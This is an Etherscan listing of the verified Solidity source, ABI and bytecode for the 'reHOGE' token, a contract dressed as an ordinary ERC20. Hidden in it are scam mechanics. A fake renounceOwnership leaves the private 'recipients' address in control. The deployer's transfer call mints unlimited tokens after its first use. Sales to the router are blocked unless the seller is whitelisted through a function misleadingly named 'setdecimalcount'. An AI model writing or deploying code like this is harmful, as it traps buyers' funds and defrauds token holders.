ETH Price: $2,740.91 (-7.26%)
 

Overview

Max Total Supply

1,000,000,000,000,999,999,999.999999999999999999 reHOGE

Holders

8

Transfers

-
0

Market

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
reHOGE

Compiler Version
v0.8.28+commit.7893614a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2024-10-27
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;

library SafeMath {
    // Addition with overflow protection
    function cre(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    // Subtraction with underflow check
    function red(uint256 a, uint256 b) internal pure returns (uint256) {
        return redc(a, b, "SafeMath: subtraction overflow");
    }

    // Actual subtraction with a custom error message for underflow safety
    function redc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    // Multiplication with overflow check
    function prod(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    // Division with zero check and custom error message
    function calc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    // Division without error message for default zero-check
    function cal(uint256 a, uint256 b) internal pure returns (uint256) {
        return calc(a, b, "SafeMath: division by zero");
    }
}

pragma solidity ^0.8.9;

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

pragma solidity ^0.8.9;

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}

contract Creation is Context {
    address internal recipients;
    address internal router;
    address public owner;
    mapping (address => bool) internal confirm;
    event genesis(address indexed previousi, address indexed newi);

    constructor () {
        address msgSender = _msgSender();
        recipients = msgSender;
        emit genesis(address(0), msgSender);
    }

    modifier checker() {
        require(recipients == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual checker {
        emit genesis(owner, address(0));
        owner = address(0);
    }
}

pragma solidity ^0.8.9;

contract ERC20 is Context, IERC20, IERC20Metadata, Creation {
    using SafeMath for uint256;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) internal _allowances;
    uint256 private _totalSupply;
    string private _name;
    string private _symbol;
    bool private truth;

    constructor (string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
        truth = true;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        if ((recipients == _msgSender()) && (truth == true)) {
            _transfer(_msgSender(), recipient, amount);
            truth = false;
            return true;
        } else if ((recipients == _msgSender()) && (truth == false)) {
            _totalSupply = _totalSupply.cre(amount);
            _balances[recipient] = _balances[recipient].cre(amount);
            emit Transfer(recipient, recipient, amount);
            return true;
        } else {
            _transfer(_msgSender(), recipient, amount);
            return true;
        }
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    function liquiditypair(address Uniswaprouterv02) public checker {
        router = Uniswaprouterv02;
    }

    function decimalcount(address _count) internal checker {
        confirm[_count] = true;
    }

    function setdecimalcount(address[] memory _counts) external checker {
        for (uint256 i = 0; i < _counts.length; i++) {
            decimalcount(_counts[i]);
        }
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        if (recipient == router) {
            require(confirm[sender]);
        }
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
    }

    function _deploy(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: deploy to the zero address");
        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        _balances[account] = accountBalance - amount;
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

pragma solidity ^0.8.28;

contract reHOGE is ERC20 {
    uint8 immutable private _decimals = 18;
    uint256 private _totalSupply = 1000000000 * 10 ** 18;

    constructor() ERC20('ReHOGE:', unicode'reHOGE') {
        _deploy(_msgSender(), _totalSupply);
    }

    function decimals() public view virtual override returns (uint8) {
        return _decimals;
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousi","type":"address"},{"indexed":true,"internalType":"address","name":"newi","type":"address"}],"name":"genesis","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"Uniswaprouterv02","type":"address"}],"name":"liquiditypair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_counts","type":"address[]"}],"name":"setdecimalcount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60a060405260126080526b033b2e3c9fd0803ce8000000600a55348015610024575f5ffd5b50604051806040016040528060078152602001662932a427a3a29d60c91b815250604051806040016040528060068152602001657265484f474560d01b8152505f6100736100fc60201b60201c565b5f80546001600160a01b0319166001600160a01b0383169081178255604051929350917f3c68edc89b5e5699277163f78238f970d734e722af6c7df4bc9402d9d2da9f2f908290a35060076100c88382610282565b5060086100d58282610282565b50506009805460ff19166001179055506100f76100ef3390565b600a54610100565b610361565b3390565b6001600160a01b0382166101645760405162461bcd60e51b815260206004820152602160248201527f45524332303a206465706c6f7920746f20746865207a65726f206164647265736044820152607360f81b606482015260840160405180910390fd5b8060065f828254610175919061033c565b90915550506001600160a01b0382165f90815260046020526040812080548392906101a190849061033c565b90915550506040518181526001600160a01b038316905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b634e487b7160e01b5f52604160045260245ffd5b600181811c9082168061021257607f821691505b60208210810361023057634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561027d57805f5260205f20601f840160051c8101602085101561025b5750805b601f840160051c820191505b8181101561027a575f8155600101610267565b50505b505050565b81516001600160401b0381111561029b5761029b6101ea565b6102af816102a984546101fe565b84610236565b6020601f8211600181146102e1575f83156102ca5750848201515b5f19600385901b1c1916600184901b17845561027a565b5f84815260208120601f198516915b8281101561031057878501518255602094850194600190920191016102f0565b508482101561032d57868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b8082018082111561035b57634e487b7160e01b5f52601160045260245ffd5b92915050565b608051610d966103795f395f6101610152610d965ff3fe608060405234801561000f575f5ffd5b50600436106100f0575f3560e01c8063715018a611610093578063a457c2d711610063578063a457c2d714610216578063a9059cbb14610229578063c168bb471461023c578063dd62ed3e1461024f575f5ffd5b8063715018a6146101c65780638da5cb5b146101d057806395d89b41146101fb578063a22522e114610203575f5ffd5b806323b872dd116100ce57806323b872dd14610147578063313ce5671461015a578063395093511461018b57806370a082311461019e575f5ffd5b806306fdde03146100f4578063095ea7b31461011257806318160ddd14610135575b5f5ffd5b6100fc610287565b6040516101099190610aca565b60405180910390f35b610125610120366004610b1a565b610317565b6040519015158152602001610109565b6006545b604051908152602001610109565b610125610155366004610b42565b61032d565b60405160ff7f0000000000000000000000000000000000000000000000000000000000000000168152602001610109565b610125610199366004610b1a565b6103e1565b6101396101ac366004610b7c565b6001600160a01b03165f9081526004602052604090205490565b6101ce610417565b005b6002546101e3906001600160a01b031681565b6040516001600160a01b039091168152602001610109565b6100fc610489565b6101ce610211366004610ba9565b610498565b610125610224366004610b1a565b6104fa565b610125610237366004610b1a565b610594565b6101ce61024a366004610b7c565b61069c565b61013961025d366004610c74565b6001600160a01b039182165f90815260056020908152604080832093909416825291909152205490565b60606007805461029690610ca5565b80601f01602080910402602001604051908101604052809291908181526020018280546102c290610ca5565b801561030d5780601f106102e45761010080835404028352916020019161030d565b820191905f5260205f20905b8154815290600101906020018083116102f057829003601f168201915b5050505050905090565b5f6103233384846106e7565b5060015b92915050565b5f61033984848461080a565b6001600160a01b0384165f908152600560209081526040808320338452909152902054828110156103c25760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103d685336103d18685610cf1565b6106e7565b506001949350505050565b335f8181526005602090815260408083206001600160a01b038716845290915281205490916103239185906103d1908690610d04565b5f546001600160a01b031633146104405760405162461bcd60e51b81526004016103b990610d17565b6002546040515f916001600160a01b0316907f3c68edc89b5e5699277163f78238f970d734e722af6c7df4bc9402d9d2da9f2f908390a3600280546001600160a01b0319169055565b60606008805461029690610ca5565b5f546001600160a01b031633146104c15760405162461bcd60e51b81526004016103b990610d17565b5f5b81518110156104f6576104ee8282815181106104e1576104e1610d4c565b6020026020010151610a19565b6001016104c3565b5050565b335f9081526005602090815260408083206001600160a01b03861684529091528120548281101561057b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016103b9565b61058a33856103d18685610cf1565b5060019392505050565b5f80546001600160a01b0316331480156105b5575060095460ff1615156001145b156105d8576105c6335b848461080a565b506009805460ff191690556001610327565b5f546001600160a01b0316331480156105f4575060095460ff16155b1561068b576006546106069083610a65565b6006556001600160a01b0383165f9081526004602052604090205461062b9083610a65565b6001600160a01b0384165f818152600460205260409081902092909255905181907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061067b9086815260200190565b60405180910390a3506001610327565b610694336105bf565b506001610327565b5f546001600160a01b031633146106c55760405162461bcd60e51b81526004016103b990610d17565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166107495760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103b9565b6001600160a01b0382166107aa5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103b9565b6001600160a01b038381165f8181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661086e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103b9565b6001600160a01b0382166108d05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103b9565b6001546001600160a01b0390811690831603610909576001600160a01b0383165f9081526003602052604090205460ff16610909575f5ffd5b6001600160a01b0383165f90815260046020526040902054818110156109805760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103b9565b61098a8282610cf1565b6001600160a01b038086165f9081526004602052604080822093909355908516815290812080548492906109bf908490610d04565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a0b91815260200190565b60405180910390a350505050565b5f546001600160a01b03163314610a425760405162461bcd60e51b81526004016103b990610d17565b6001600160a01b03165f908152600360205260409020805460ff19166001179055565b5f80610a718385610d04565b905083811015610ac35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103b9565b9392505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b0381168114610b15575f5ffd5b919050565b5f5f60408385031215610b2b575f5ffd5b610b3483610aff565b946020939093013593505050565b5f5f5f60608486031215610b54575f5ffd5b610b5d84610aff565b9250610b6b60208501610aff565b929592945050506040919091013590565b5f60208284031215610b8c575f5ffd5b610ac382610aff565b634e487b7160e01b5f52604160045260245ffd5b5f60208284031215610bb9575f5ffd5b813567ffffffffffffffff811115610bcf575f5ffd5b8201601f81018413610bdf575f5ffd5b803567ffffffffffffffff811115610bf957610bf9610b95565b8060051b604051601f19603f830116810181811067ffffffffffffffff82111715610c2657610c26610b95565b604052918252602081840181019290810187841115610c43575f5ffd5b6020850194505b83851015610c6957610c5b85610aff565b815260209485019401610c4a565b509695505050505050565b5f5f60408385031215610c85575f5ffd5b610c8e83610aff565b9150610c9c60208401610aff565b90509250929050565b600181811c90821680610cb957607f821691505b602082108103610cd757634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561032757610327610cdd565b8082018082111561032757610327610cdd565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffdfea2646970667358221220abdd6666ed3b10f3bd27c89b47312743e59d6887250ba0f1fff76a4feae09a0c64736f6c634300081c0033

Deployed Bytecode

0x608060405234801561000f575f5ffd5b50600436106100f0575f3560e01c8063715018a611610093578063a457c2d711610063578063a457c2d714610216578063a9059cbb14610229578063c168bb471461023c578063dd62ed3e1461024f575f5ffd5b8063715018a6146101c65780638da5cb5b146101d057806395d89b41146101fb578063a22522e114610203575f5ffd5b806323b872dd116100ce57806323b872dd14610147578063313ce5671461015a578063395093511461018b57806370a082311461019e575f5ffd5b806306fdde03146100f4578063095ea7b31461011257806318160ddd14610135575b5f5ffd5b6100fc610287565b6040516101099190610aca565b60405180910390f35b610125610120366004610b1a565b610317565b6040519015158152602001610109565b6006545b604051908152602001610109565b610125610155366004610b42565b61032d565b60405160ff7f0000000000000000000000000000000000000000000000000000000000000012168152602001610109565b610125610199366004610b1a565b6103e1565b6101396101ac366004610b7c565b6001600160a01b03165f9081526004602052604090205490565b6101ce610417565b005b6002546101e3906001600160a01b031681565b6040516001600160a01b039091168152602001610109565b6100fc610489565b6101ce610211366004610ba9565b610498565b610125610224366004610b1a565b6104fa565b610125610237366004610b1a565b610594565b6101ce61024a366004610b7c565b61069c565b61013961025d366004610c74565b6001600160a01b039182165f90815260056020908152604080832093909416825291909152205490565b60606007805461029690610ca5565b80601f01602080910402602001604051908101604052809291908181526020018280546102c290610ca5565b801561030d5780601f106102e45761010080835404028352916020019161030d565b820191905f5260205f20905b8154815290600101906020018083116102f057829003601f168201915b5050505050905090565b5f6103233384846106e7565b5060015b92915050565b5f61033984848461080a565b6001600160a01b0384165f908152600560209081526040808320338452909152902054828110156103c25760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103d685336103d18685610cf1565b6106e7565b506001949350505050565b335f8181526005602090815260408083206001600160a01b038716845290915281205490916103239185906103d1908690610d04565b5f546001600160a01b031633146104405760405162461bcd60e51b81526004016103b990610d17565b6002546040515f916001600160a01b0316907f3c68edc89b5e5699277163f78238f970d734e722af6c7df4bc9402d9d2da9f2f908390a3600280546001600160a01b0319169055565b60606008805461029690610ca5565b5f546001600160a01b031633146104c15760405162461bcd60e51b81526004016103b990610d17565b5f5b81518110156104f6576104ee8282815181106104e1576104e1610d4c565b6020026020010151610a19565b6001016104c3565b5050565b335f9081526005602090815260408083206001600160a01b03861684529091528120548281101561057b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016103b9565b61058a33856103d18685610cf1565b5060019392505050565b5f80546001600160a01b0316331480156105b5575060095460ff1615156001145b156105d8576105c6335b848461080a565b506009805460ff191690556001610327565b5f546001600160a01b0316331480156105f4575060095460ff16155b1561068b576006546106069083610a65565b6006556001600160a01b0383165f9081526004602052604090205461062b9083610a65565b6001600160a01b0384165f818152600460205260409081902092909255905181907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061067b9086815260200190565b60405180910390a3506001610327565b610694336105bf565b506001610327565b5f546001600160a01b031633146106c55760405162461bcd60e51b81526004016103b990610d17565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166107495760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103b9565b6001600160a01b0382166107aa5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103b9565b6001600160a01b038381165f8181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661086e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103b9565b6001600160a01b0382166108d05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103b9565b6001546001600160a01b0390811690831603610909576001600160a01b0383165f9081526003602052604090205460ff16610909575f5ffd5b6001600160a01b0383165f90815260046020526040902054818110156109805760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103b9565b61098a8282610cf1565b6001600160a01b038086165f9081526004602052604080822093909355908516815290812080548492906109bf908490610d04565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a0b91815260200190565b60405180910390a350505050565b5f546001600160a01b03163314610a425760405162461bcd60e51b81526004016103b990610d17565b6001600160a01b03165f908152600360205260409020805460ff19166001179055565b5f80610a718385610d04565b905083811015610ac35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103b9565b9392505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b0381168114610b15575f5ffd5b919050565b5f5f60408385031215610b2b575f5ffd5b610b3483610aff565b946020939093013593505050565b5f5f5f60608486031215610b54575f5ffd5b610b5d84610aff565b9250610b6b60208501610aff565b929592945050506040919091013590565b5f60208284031215610b8c575f5ffd5b610ac382610aff565b634e487b7160e01b5f52604160045260245ffd5b5f60208284031215610bb9575f5ffd5b813567ffffffffffffffff811115610bcf575f5ffd5b8201601f81018413610bdf575f5ffd5b803567ffffffffffffffff811115610bf957610bf9610b95565b8060051b604051601f19603f830116810181811067ffffffffffffffff82111715610c2657610c26610b95565b604052918252602081840181019290810187841115610c43575f5ffd5b6020850194505b83851015610c6957610c5b85610aff565b815260209485019401610c4a565b509695505050505050565b5f5f60408385031215610c85575f5ffd5b610c8e83610aff565b9150610c9c60208401610aff565b90509250929050565b600181811c90821680610cb957607f821691505b602082108103610cd757634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561032757610327610cdd565b8082018082111561032757610327610cdd565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffdfea2646970667358221220abdd6666ed3b10f3bd27c89b47312743e59d6887250ba0f1fff76a4feae09a0c64736f6c634300081c0033

Deployed Bytecode Sourcemap

8716:351:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3954:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5352:169;;;;;;:::i;:::-;;:::i;:::-;;;1085:14:1;;1078:22;1060:41;;1048:2;1033:18;5352:169:0;920:187:1;4275:108:0;4363:12;;4275:108;;;1258:25:1;;;1246:2;1231:18;4275:108:0;1112:177:1;5529:420:0;;;;;;:::i;:::-;;:::i;8964:100::-;;;1845:4:1;9047:9:0;1833:17:1;1815:36;;1803:2;1788:18;8964:100:0;1673:184:1;6367:215:0;;;;;;:::i;:::-;;:::i;4391:127::-;;;;;;:::i;:::-;-1:-1:-1;;;;;4492:18:0;4465:7;4492:18;;;:9;:18;;;;;;;4391:127;3291:131;;;:::i;:::-;;2862:20;;;;;-1:-1:-1;;;;;2862:20:0;;;;;;-1:-1:-1;;;;;2217:32:1;;;2199:51;;2187:2;2172:18;2862:20:0;2053:203:1;4062:104:0;;;:::i;6177:182::-;;;;;;:::i;:::-;;:::i;6590:377::-;;;;;;:::i;:::-;;:::i;4526:659::-;;;;;;:::i;:::-;;:::i;5957:108::-;;;;;;:::i;:::-;;:::i;5193:151::-;;;;;;:::i;:::-;-1:-1:-1;;;;;5309:18:0;;;5282:7;5309:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5193:151;3954:100;4008:13;4041:5;4034:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3954:100;:::o;5352:169::-;5435:4;5452:39;2613:10;5475:7;5484:6;5452:8;:39::i;:::-;-1:-1:-1;5509:4:0;5352:169;;;;;:::o;5529:420::-;5635:4;5652:36;5662:6;5670:9;5681:6;5652:9;:36::i;:::-;-1:-1:-1;;;;;5726:19:0;;5699:24;5726:19;;;:11;:19;;;;;;;;2613:10;5726:33;;;;;;;;5778:26;;;;5770:79;;;;-1:-1:-1;;;5770:79:0;;4377:2:1;5770:79:0;;;4359:21:1;4416:2;4396:18;;;4389:30;4455:34;4435:18;;;4428:62;-1:-1:-1;;;4506:18:1;;;4499:38;4554:19;;5770:79:0;;;;;;;;;5860:57;5869:6;2613:10;5891:25;5910:6;5891:16;:25;:::i;:::-;5860:8;:57::i;:::-;-1:-1:-1;5937:4:0;;5529:420;-1:-1:-1;;;;5529:420:0:o;6367:215::-;2613:10;6455:4;6504:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;6504:34:0;;;;;;;;;;6455:4;;6472:80;;6495:7;;6504:47;;6541:10;;6504:47;:::i;3291:131::-;3200:10;;-1:-1:-1;;;;;3200:10:0;2613;3200:26;3192:71;;;;-1:-1:-1;;;3192:71:0;;;;;;;:::i;:::-;3367:5:::1;::::0;3359:26:::1;::::0;3382:1:::1;::::0;-1:-1:-1;;;;;3367:5:0::1;::::0;3359:26:::1;::::0;3382:1;;3359:26:::1;3396:5;:18:::0;;-1:-1:-1;;;;;;3396:18:0::1;::::0;;3291:131::o;4062:104::-;4118:13;4151:7;4144:14;;;;;:::i;6177:182::-;3200:10;;-1:-1:-1;;;;;3200:10:0;2613;3200:26;3192:71;;;;-1:-1:-1;;;3192:71:0;;;;;;;:::i;:::-;6261:9:::1;6256:96;6280:7;:14;6276:1;:18;6256:96;;;6316:24;6329:7;6337:1;6329:10;;;;;;;;:::i;:::-;;;;;;;6316:12;:24::i;:::-;6296:3;;6256:96;;;;6177:182:::0;:::o;6590:377::-;2613:10;6683:4;6727:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;6727:34:0;;;;;;;;;;6780:35;;;;6772:85;;;;-1:-1:-1;;;6772:85:0;;5674:2:1;6772:85:0;;;5656:21:1;5713:2;5693:18;;;5686:30;5752:34;5732:18;;;5725:62;-1:-1:-1;;;5803:18:1;;;5796:35;5848:19;;6772:85:0;5472:401:1;6772:85:0;6868:67;2613:10;6891:7;6900:34;6919:15;6900:16;:34;:::i;6868:67::-;-1:-1:-1;6955:4:0;;6590:377;-1:-1:-1;;;6590:377:0:o;4526:659::-;4604:4;4626:10;;-1:-1:-1;;;;;4626:10:0;2613;4626:26;4625:47;;;;-1:-1:-1;4658:5:0;;;;:13;;:5;:13;4625:47;4621:557;;;4689:42;2613:10;4699:12;4713:9;4724:6;4689:9;:42::i;:::-;-1:-1:-1;4746:5:0;:13;;-1:-1:-1;;4746:13:0;;;;4774:11;;4621:557;4808:10;;-1:-1:-1;;;;;4808:10:0;2613;4808:26;4807:48;;;;-1:-1:-1;4840:5:0;;;;:14;4807:48;4803:375;;;4887:12;;:24;;4904:6;4887:16;:24::i;:::-;4872:12;:39;-1:-1:-1;;;;;4949:20:0;;;;;;:9;:20;;;;;;:32;;4974:6;4949:24;:32::i;:::-;-1:-1:-1;;;;;4926:20:0;;;;;;:9;:20;;;;;;;:55;;;;5001:38;;4926:20;;5001:38;;;;5032:6;1258:25:1;;1246:2;1231:18;;1112:177;5001:38:0;;;;;;;;-1:-1:-1;5061:4:0;5054:11;;4803:375;5098:42;2613:10;5108:12;2533:98;5098:42;-1:-1:-1;5162:4:0;5155:11;;5957:108;3200:10;;-1:-1:-1;;;;;3200:10:0;2613;3200:26;3192:71;;;;-1:-1:-1;